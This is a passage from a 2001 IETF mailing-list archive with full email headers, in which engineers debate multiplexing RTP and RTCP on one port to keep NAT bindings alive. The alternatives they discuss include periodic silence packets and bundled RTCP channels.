valid RTP data, like comfort-noise and repeat video-cells, or invalid
and destined to be rejected by the receiver, e.g. duplicate
seqno/timestamp, invalidly framed rtp payload, unsupported codec.
Only one application in a session would need to be modified to support
this and it's almost certainly less work to implement.

- Orion

From confctrl-owner  Tue Jul 17 04:44:24 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA29447
	for confctrl-outgoing; Tue, 17 Jul 2001 04:44:24 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA29441
	for <confctrl@zephyr.isi.edu>; Tue, 17 Jul 2001 04:44:22 -0700 (PDT)
Received: from multicasttech.com (IDENT:root@garcia.multicasttech.com [63.105.122.8])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6HBiYL07041
	for <confctrl@isi.edu>; Tue, 17 Jul 2001 04:44:34 -0700 (PDT)
Received: from [165.247.84.133] (account <marshall_eubanks@multicasttech.com>)
  by multicasttech.com (CommuniGate Pro WebUser 3.3.2)
  with HTTP id 1019675; Tue, 17 Jul 2001 07:39:24 -0400
From: "Marshall Eubanks" <marshall_eubanks@multicasttech.com>
Subject: Re: [AVT] Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
To: Ross Finlayson <finlayson@live.com>, confctrl@ISI.EDU
Cc: avt@ietf.org, marty@multicasttech.com
X-Mailer: CommuniGate Pro Web Mailer v.3.3.2
Date: Tue, 17 Jul 2001 07:39:24 -0400
Message-ID: <web-1019675@multicasttech.com>
In-Reply-To: <4.3.1.1.20010716201019.00b90ae0@localhost>
MIME-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Mon, 16 Jul 2001 20:32:34 -0700
 Ross Finlayson <finlayson@live.com> wrote:
> Am I the only person here who's baffled that this idea
> (allowing RTP and 
> RTCP to use the same port) is being taken seriously at
> all?  Not only would 
> this would break most - if not all - existing RTP/RTCP
> implementations, but 
> multiplexing control and data information at this level
> is generally 
> considered bad design.

IMHO this is a bad idea. It will break things, and it
probably won't really fix the problem. Besides, it's hard
enough getting some vendors even to _implement_ RTCP.

It would be useful to allow "bundled" RTP groups to share
the same RTCP channel, though. If you have m RTP groups
associated with the same application, why not allow for RTP
on ports 2n, 2n+2, ..., 2n + m, and one RTCP channel on port 
2n + m + 1, so that only one set of control messages are
needed; the RR for all the groups can be combined together
as well.

Regards
Marshall Eubanks
  
> 
> Please remind me again - what problem would this solve?
> If, for whatever 
> reason, the current RTP/RTCP port pairing (RTP on port
> 2n; RTCP on port 
> 2n+1) is considered too restrictive, then maybe we could
> consider relaxing 
> *that* restriction, while still requiring RTP and RTCP to
> use separate ports?
> 
>          Ross.
> 
> 
> _______________________________________________
> Audio/Video Transport Working Group
> avt@ietf.org
> http://www.ietf.org/mailman/listinfo/avt


From confctrl-owner  Tue Jul 17 05:08:14 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA00719
	for confctrl-outgoing; Tue, 17 Jul 2001 05:08:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA00714
	for <confctrl@zephyr.isi.edu>; Tue, 17 Jul 2001 05:08:13 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6HC8PL11543
	for <confctrl@ISI.EDU>; Tue, 17 Jul 2001 05:08:26 -0700 (PDT)
Received: from bart.cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id IAA22570;
	Tue, 17 Jul 2001 08:08:20 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by bart.cs.columbia.edu (8.9.3+Sun/8.9.3) with ESMTP id IAA27463;
	Tue, 17 Jul 2001 08:08:18 -0400 (EDT)
Message-ID: <3B542A68.13F8643B@cs.columbia.edu>
Date: Tue, 17 Jul 2001 08:07:04 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
X-Mailer: Mozilla 4.77 [en]C-CCK-MCD BA45DSL  (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Ross Finlayson <finlayson@live.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, confctrl@ISI.EDU,
        avt@ietf.org
Subject: Re: [AVT] RE: RTP/RTCP Port Sharing (Was: Comedia Issues.)
References: <4.3.1.1.20010716225345.00bb4540@localhost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In reality, is this lack of RTP packets a real problem? Any decent audio
codec doesn't just stop sending packets, it sends infrequent 'silence'
packets updating the background noise shape, to avoid strange
transitions of the background noise when speech starts again. See G.729B
and others. The frequency of these packets is probably on the order of
at least once per second, although I haven't measured this.

I can see that this might be an issue when a stream is being put on
hold, but maybe some periodic zero-payload-length RTP packets would be
an easy solution for that. No need to define new packet types.

Ross Finlayson wrote:
> 
> At 09:20 PM 7/16/01, Jonathan Rosenberg wrote:
> >The specific problem I'm running into is the lifetime of NAT bindings. Right
> >now, RTP and RTCP will both require a separate binding. NAT bindings are
> >kept alive by activity. Unfortunately, if silence suppression is used, the
> >RTP nat binding will timeout, and the media is not recovered.
> 
> Out of curiosity, what kind of timeouts do these NAT bindings typically have?
> 
> As is typical when NATs are involved, there's probably no 'clean' solution
> to this problem, but I wonder if it might be better to try to address the
> specific problem of RTP (in)activity, rather than trying to kludge around
> this by putting RTCP on the same port?  In particular, the RTP sender could
> be told (e.g., though yet-another-new-SDP-attribute) to ensure that it
> sends some data (at the very least, an 'empty' frame) every 'n'
> seconds.  This has its own difficulties, of course - e.g., the fact that
> 'empty frame' might be codec-specific.  And like your proposed solution, it
> requires that existing RTP implementations be modified (unless they support
> only payload formats that always have continuous data).
> 
> >Now, you will immediately say that this is why you need an ALG
> 
> No, actually, I agree with your argument against requiring ALG support.
>

From confctrl-owner  Tue Jul 17 10:33:47 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA20095
	for confctrl-outgoing; Tue, 17 Jul 2001 10:33:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA20086
	for <confctrl@zephyr.isi.edu>; Tue, 17 Jul 2001 10:33:46 -0700 (PDT)
Received: from cisco.com (jaws.cisco.com [198.135.0.150])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6HHXwL16846
	for <confctrl@ISI.EDU>; Tue, 17 Jul 2001 10:33:58 -0700 (PDT)
Received: from ANDRJOHNW2K (edin-comm-vl10-dhcp20.cisco.com [144.254.112.40])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id SAA25119;
	Tue, 17 Jul 2001 18:33:10 +0100 (BST)
Reply-To: <andrjohn@cisco.com>
From: "Andrew Johnson" <andrjohn@cisco.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        "'Ross Finlayson'" <finlayson@live.com>, <confctrl@ISI.EDU>
Cc: <avt@ietf.org>
Subject: RE: [AVT] RE: RTP/RTCP Port Sharing (Was: Comedia Issues.)
Date: Tue, 17 Jul 2001 18:33:46 +0100
Message-ID: <003201c10ee6$a2517980$2870fe90@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <B65B4F8437968F488A01A940B21982BF020D627F@DYN-EXCH-001.dynamicsoft.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> The specific problem I'm running into is the lifetime of NAT bindings.
Right
> now, RTP and RTCP will both require a separate binding. NAT bindings are
> kept alive by activity. Unfortunately, if silence suppression is used, the
> RTP nat binding will timeout, and the media is not recovered. The
> periodicity of RTCP keeps its bindings active. I'd like to be able to use
> that information to keep the RTP binding fresh as well. That happens if
they
> are both on the same port.

Can't you just send periodic silence packets?

Andrew


From confctrl-owner  Tue Jul 17 15:09:12 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA08476
	for confctrl-outgoing; Tue, 17 Jul 2001 15:09:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA08471
	for <confctrl@zephyr.isi.edu>; Tue, 17 Jul 2001 15:09:11 -0700 (PDT)
Received: from fridge.docomo-usa.com ([216.98.102.228])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6HM9DL07798
	for <confctrl@ISI.EDU>; Tue, 17 Jul 2001 15:09:20 -0700 (PDT)
Received: from DOCOMOTARIQ (dhcp108.docomo-usa.com [172.21.96.108])
	by fridge.docomo-usa.com (8.11.3/8.11.3) with SMTP id f6HMIHq22687;
	Tue, 17 Jul 2001 15:18:17 -0700 (PDT)
Message-ID: <008e01c10f0d$21c45130$6c6015ac@DOCOMOTARIQ>
From: "Muhammad Mukarram Bin TARIQ" <tariq@dcl.docomo-usa.com>
To: "Henning Schulzrinne" <schulzrinne@cs.columbia.edu>,
        "Ross Finlayson" <finlayson@live.com>
Cc: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>, <confctrl@ISI.EDU>,
        <avt@ietf.org>
References: <4.3.1.1.20010716225345.00bb4540@localhost> <3B542A68.13F8643B@cs.columbia.edu>
Subject: Re: [AVT] RE: RTP/RTCP Port Sharing (Was: Comedia Issues.)
Date: Tue, 17 Jul 2001 15:09:21 -0700
Organization: DoCoMo USA Labs, Inc
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi all,

Just another thought regarding the NAT binding timeout issues.
What will happen if a stream is restarted after a "hold" (which can be a
fairly long period of inactivity) You can be almost sure that the NAT
binding will timeout. Under such circumstances we may even need to tell the
new port once "hold" is taken back.


Muhammad Mukarram Bin Tariq
------------------------------------------
DoCoMo Communications Laboratories USA, Inc.
Tel: 408-451-4739, Fax: +1-408-573-1090
Email: tariq@dcl.docomo-usa.com





----- Original Message -----
From: "Henning Schulzrinne" <schulzrinne@cs.columbia.edu>
To: "Ross Finlayson" <finlayson@live.com>
Cc: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>; <confctrl@ISI.EDU>;
<avt@ietf.org>
Sent: Tuesday, July 17, 2001 5:07 AM
Subject: Re: [AVT] RE: RTP/RTCP Port Sharing (Was: Comedia Issues.)


> In reality, is this lack of RTP packets a real problem? Any decent audio
> codec doesn't just stop sending packets, it sends infrequent 'silence'
> packets updating the background noise shape, to avoid strange
> transitions of the background noise when speech starts again. See G.729B
> and others. The frequency of these packets is probably on the order of
> at least once per second, although I haven't measured this.
>
> I can see that this might be an issue when a stream is being put on
> hold, but maybe some periodic zero-payload-length RTP packets would be
> an easy solution for that. No need to define new packet types.
>
> Ross Finlayson wrote:
> >
> > At 09:20 PM 7/16/01, Jonathan Rosenberg wrote:
> > >The specific problem I'm running into is the lifetime of NAT bindings.
Right
> > >now, RTP and RTCP will both require a separate binding. NAT bindings
are
> > >kept alive by activity. Unfortunately, if silence suppression is used,
the
> > >RTP nat binding will timeout, and the media is not recovered.
> >
> > Out of curiosity, what kind of timeouts do these NAT bindings typically
have?
> >
> > As is typical when NATs are involved, there's probably no 'clean'
solution
> > to this problem, but I wonder if it might be better to try to address
the
> > specific problem of RTP (in)activity, rather than trying to kludge
around
> > this by putting RTCP on the same port?  In particular, the RTP sender
could
> > be told (e.g., though yet-another-new-SDP-attribute) to ensure that it
> > sends some data (at the very least, an 'empty' frame) every 'n'
> > seconds.  This has its own difficulties, of course - e.g., the fact that
> > 'empty frame' might be codec-specific.  And like your proposed solution,
it
> > requires that existing RTP implementations be modified (unless they
support
> > only payload formats that always have continuous data).
> >
> > >Now, you will immediately say that this is why you need an ALG
> >
> > No, actually, I agree with your argument against requiring ALG support.
> >
>


From confctrl-owner  Tue Jul 17 22:08:49 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id WAA02321
	for confctrl-outgoing; Tue, 17 Jul 2001 22:08:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA02316
	for <confctrl@zephyr.isi.edu>; Tue, 17 Jul 2001 22:08:48 -0700 (PDT)
Received: from mail4.microsoft.com (mail4.microsoft.com [131.107.3.122])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f6I591L01806
	for <confctrl@isi.edu>; Tue, 17 Jul 2001 22:09:01 -0700 (PDT)
Received: from 157.54.9.104 by mail4.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 17 Jul 2001 19:41:25 -0700 (Pacific Daylight Time)
Received: from red-imc-01.redmond.corp.microsoft.com ([157.54.9.102]) by inet-imc-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Tue, 17 Jul 2001 19:41:22 -0700
Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-imc-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Tue, 17 Jul 2001 19:41:21 -0700
Received: from win-msg-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.134]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Tue, 17 Jul 2001 19:40:19 -0700
X-MimeOLE: Produced By Microsoft Exchange V6.0.5683.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Subject: RE: [AVT] RE: RTP/RTCP Port Sharing (Was: Comedia Issues.)
Date: Tue, 17 Jul 2001 19:40:18 -0700
Message-ID: <F66A04C29AD9034A8205949AD0C90104A3E5C5@win-msg-02.wingroup.windeploy.ntdev.microsoft.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [AVT] RE: RTP/RTCP Port Sharing (Was: Comedia Issues.)
Thread-Index: AcEOiHmKhSxecdwTShydnsanJ+TSjgAqpIXQ
From: "Christian Huitema" <huitema@windows.microsoft.com>
To: "Ross Finlayson" <finlayson@live.com>,
        "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>
Cc: <confctrl@ISI.EDU>, <avt@ietf.org>
X-OriginalArrivalTime: 18 Jul 2001 02:40:19.0548 (UTC) FILETIME=[FC1AC9C0:01C10F32]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id WAA02317
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Out of curiosity, what kind of timeouts do these NAT bindings 
> typically have?

Between 30 seconds and 15 minutes. Depends on the implementation.

From confctrl-owner  Wed Jul 18 01:00:14 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA11414
	for confctrl-outgoing; Wed, 18 Jul 2001 01:00:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA11409
	for <confctrl@zephyr.isi.edu>; Wed, 18 Jul 2001 01:00:12 -0700 (PDT)
Received: from sky.bitband.com ([192.115.56.99])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f6I80ML04449
	for <confctrl@ISI.EDU>; Wed, 18 Jul 2001 01:00:23 -0700 (PDT)
Received: from leolaptop (p51.ta6.actcom.co.il [192.115.24.51])
	by sky.bitband.com (8.8.8+Sun/8.8.8) with SMTP id KAA23154;
	Wed, 18 Jul 2001 10:58:43 +0300 (IDT)
Message-ID: <006701c10f67$eb574de0$331873c0@bitband.com>
From: "Leonid Rosenboim" <Leonid@BitBand.COM>
To: <confctrl@ISI.EDU>, "Ross Finlayson" <finlayson@live.com>
Cc: <avt@ietf.org>
References: <B65B4F8437968F488A01A940B21982BF020D6225@DYN-EXCH-001.dynamicsoft.com> <4.3.1.1.20010716201019.00b90ae0@localhost>
Subject: Re: [AVT] Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
Date: Wed, 18 Jul 2001 10:59:06 +0200
Organization: BitBand Technologies Ltd.
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

First, it has been discussed that NATs are one good reason for this change.
I only want to add that when IPv4/IPv6 interoperability is considered, some
interop scenarios have requirements similar to today's NAT. One last item I
wanted to add is that it is not far away that Internet CPE devices (e.g.
xDSL or Cable modems) would have a simple form of firewall embedded in them.
Since these security mechanisms are very simple, they also require for
authorizable traffic to be bidirectional, and initiated from within. Again,
somewhat NAT-like behavour.

----- Original Message -----
From: "Ross Finlayson" <finlayson@live.com>
To: <confctrl@ISI.EDU>
Cc: <avt@ietf.org>
Sent: 17 July 2001 5:32 AM
Subject: [AVT] Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)


> Am I the only person here who's baffled that this idea (allowing RTP and
> RTCP to use the same port) is being taken seriously at all?  Not only
would
> this would break most - if not all - existing RTP/RTCP implementations,
but
> multiplexing control and data information at this level is generally
> considered bad design.
>
> Please remind me again - what problem would this solve?  If, for whatever
> reason, the current RTP/RTCP port pairing (RTP on port 2n; RTCP on port
> 2n+1) is considered too restrictive, then maybe we could consider relaxing
> *that* restriction, while still requiring RTP and RTCP to use separate
ports?
>
>          Ross.
>
>
> _______________________________________________
> Audio/Video Transport Working Group
> avt@ietf.org
> http://www.ietf.org/mailman/listinfo/avt
>


From confctrl-owner  Wed Jul 18 01:51:02 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id BAA13936
	for confctrl-outgoing; Wed, 18 Jul 2001 01:51:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA13931
	for <confctrl@zephyr.isi.edu>; Wed, 18 Jul 2001 01:51:01 -0700 (PDT)
Received: from cundall.co.uk ([193.118.202.13])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f6I8p5L12770
	for <confctrl@isi.edu>; Wed, 18 Jul 2001 01:51:13 -0700 (PDT)
Received: from [193.118.192.41] ([193.118.192.41] verified) by cundall.co.uk (Stalker SMTP Server 1.7) with ESMTP id S.0000055071; Wed, 18 Jul 2001 09:51:49 +0100
Mime-Version: 1.0
X-Sender: lwc@193.118.192.24
Message-Id: <p05010402b77afd41725f@[193.118.192.41]>
In-Reply-To: <006701c10f67$eb574de0$331873c0@bitband.com>
References: 
  <B65B4F8437968F488A01A940B21982BF020D6225@DYN-EXCH-001.dynamicsoft.com>
 <4.3.1.1.20010716201019.00b90ae0@localhost>
 <006701c10f67$eb574de0$331873c0@bitband.com>
Date: Wed, 18 Jul 2001 09:50:56 +0100
To: Leonid Rosenboim <Leonid@BitBand.COM>, confctrl@ISI.EDU,
        Ross Finlayson <finlayson@live.com>
From: Lawrence Conroy <lwc@roke.co.uk>
Subject: Re: [AVT] Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
Cc: avt@ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 10:59 am +0200 18/7/01, Leonid Rosenboim wrote:
>First, it has been discussed that NATs are one good reason for this change.
>I only want to add that when IPv4/IPv6 interoperability is considered, some
>interop scenarios have requirements similar to today's NAT. One last item I
>wanted to add is that it is not far away that Internet CPE devices (e.g.
>xDSL or Cable modems) would have a simple form of firewall embedded in them.
>Since these security mechanisms are very simple, they also require for
>authorizable traffic to be bidirectional, and initiated from within. Again,
>somewhat NAT-like behavour.
>
>----- Original Message -----
>From: "Ross Finlayson" <finlayson@live.com>
>To: <confctrl@ISI.EDU>
>Cc: <avt@ietf.org>
>Sent: 17 July 2001 5:32 AM
>Subject: [AVT] Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
>
>
>>  Am I the only person here who's baffled that this idea (allowing RTP and
>>  RTCP to use the same port) is being taken seriously at all?  Not only
>would
>>  this would break most - if not all - existing RTP/RTCP implementations,
>but
>>  multiplexing control and data information at this level is generally
>>  considered bad design.
>>
>>  Please remind me again - what problem would this solve?  If, for whatever
>>  reason, the current RTP/RTCP port pairing (RTP on port 2n; RTCP on port
>>  2n+1) is considered too restrictive, then maybe we could consider relaxing
>>  *that* restriction, while still requiring RTP and RTCP to use separate
>ports?
To which I add:
Hi Folks,
   I am also a little puzzled. RTCP does not seem to have a *minimum* bandwidth
so why have this at all? Simply don't send RTCP and either ignore any incoming
RTCP or let the NAT discard any packets.

There are some obscure scenarios in which packet traffic is actually carried
on connection-oriented bearers, and each new packet flow *may* need a heavy
weight setup procedure. In this case one can simply not deal with RTCP (for
very simple "two party" cases in which there's no absolute need for it).
-- 
lwc@roke.co.uk: +44 1794 833666::<my opinions>:

From confctrl-owner  Wed Jul 18 03:12:53 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA17847
	for confctrl-outgoing; Wed, 18 Jul 2001 03:12:53 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA17842
	for <confctrl@zephyr.isi.edu>; Wed, 18 Jul 2001 03:12:52 -0700 (PDT)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6IAD5L27086
	for <confctrl@ISI.EDU>; Wed, 18 Jul 2001 03:13:05 -0700 (PDT)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f6IAC4k04092;
	Wed, 18 Jul 2001 03:12:04 -0700 (PDT)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAB19953;
	Wed, 18 Jul 2001 03:11:52 -0700 (PDT)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id DAA08438; Wed, 18 Jul 2001 03:11:52 -0700 (PDT)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15189.24807.839459.898695@thomasm-u1.cisco.com>
Date: Wed, 18 Jul 2001 03:11:51 -0700 (PDT)
To: "Leonid Rosenboim" <Leonid@BitBand.COM>
Cc: <confctrl@ISI.EDU>, "Ross Finlayson" <finlayson@live.com>, <avt@ietf.org>
Subject: Re: [AVT] Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
In-Reply-To: <006701c10f67$eb574de0$331873c0@bitband.com>
References: <B65B4F8437968F488A01A940B21982BF020D6225@DYN-EXCH-001.dynamicsoft.com>
	<4.3.1.1.20010716201019.00b90ae0@localhost>
	<006701c10f67$eb574de0$331873c0@bitband.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Leonid Rosenboim writes:
 > First, it has been discussed that NATs are one good reason for this change.
 > I only want to add that when IPv4/IPv6 interoperability is considered, some
 > interop scenarios have requirements similar to today's NAT. One last item I
 > wanted to add is that it is not far away that Internet CPE devices (e.g.
 > xDSL or Cable modems) would have a simple form of firewall embedded in them.
 > Since these security mechanisms are very simple, they also require for
 > authorizable traffic to be bidirectional, and initiated from within. Again,
 > somewhat NAT-like behavour.

   Uh, how do you initiate traffic from within when the
   traffic is not initiated from within? Like, oh say, a
   incoming call?

   There's some serious tail-wagging-dog going on here.

		Mike

From confctrl-owner  Wed Jul 18 03:24:19 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA18351
	for confctrl-outgoing; Wed, 18 Jul 2001 03:24:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA18346
	for <confctrl@zephyr.isi.edu>; Wed, 18 Jul 2001 03:24:17 -0700 (PDT)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6IAOUL28790
	for <confctrl@isi.edu>; Wed, 18 Jul 2001 03:24:30 -0700 (PDT)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f6IANTk06836;
	Wed, 18 Jul 2001 03:23:29 -0700 (PDT)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAB19990;
	Wed, 18 Jul 2001 03:23:16 -0700 (PDT)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id DAA08441; Wed, 18 Jul 2001 03:23:16 -0700 (PDT)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15189.25492.478609.903782@thomasm-u1.cisco.com>
Date: Wed, 18 Jul 2001 03:23:16 -0700 (PDT)
To: Lawrence Conroy <lwc@roke.co.uk>
Cc: Leonid Rosenboim <Leonid@BitBand.COM>, confctrl@ISI.EDU,
        Ross Finlayson <finlayson@live.com>, avt@ietf.org
Subject: Re: [AVT] Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
In-Reply-To: <p05010402b77afd41725f@[193.118.192.41]>
References: <B65B4F8437968F488A01A940B21982BF020D6225@DYN-EXCH-001.dynamicsoft.com>
	<4.3.1.1.20010716201019.00b90ae0@localhost>
	<006701c10f67$eb574de0$331873c0@bitband.com>
	<p05010402b77afd41725f@[193.118.192.41]>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Lawrence Conroy writes:
 > There are some obscure scenarios in which packet traffic is actually carried
 > on connection-oriented bearers, and each new packet flow *may* need a heavy
 > weight setup procedure. 

   I guess that depends on your description of "obscure". 
   Dean rightly surmised I was thinking about the DOCSIS cable
   MAC/PHY and the ability to use unsolicited grants for RTP
   traffic. DOCSIS is pretty widely deployed these days, not
   to mention an ITU standard. Nor are TDM-like slotting 
   arrangements likely to vanish on certain kinds of media
   any time soon. The sin of the PSTN was to insist that
   there was exactly one way to build a shared media and that
   was with 64k TDM slots. That's not the same thing as saying
   that TDM is inherently bad under all circumstances.

 > In this case one can simply not deal with RTCP (for
 > very simple "two party" cases in which there's no absolute need for it).

   Sure there is; the same reasons you'd want to use RTCP
   in other cases. If nothing else, dead peer detection.

	    MIke

From confctrl-owner  Wed Jul 18 03:58:25 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA20014
	for confctrl-outgoing; Wed, 18 Jul 2001 03:58:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA20007
	for <confctrl@zephyr.isi.edu>; Wed, 18 Jul 2001 03:58:23 -0700 (PDT)
Received: from cundall.co.uk ([193.118.202.13])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f6IAwZL05097
	for <confctrl@isi.edu>; Wed, 18 Jul 2001 03:58:36 -0700 (PDT)
Received: from [193.118.192.41] ([193.118.192.41] verified) by cundall.co.uk (Stalker SMTP Server 1.7) with ESMTP id S.0000055073; Wed, 18 Jul 2001 11:59:22 +0100
Mime-Version: 1.0
X-Sender: lwc@193.118.192.24
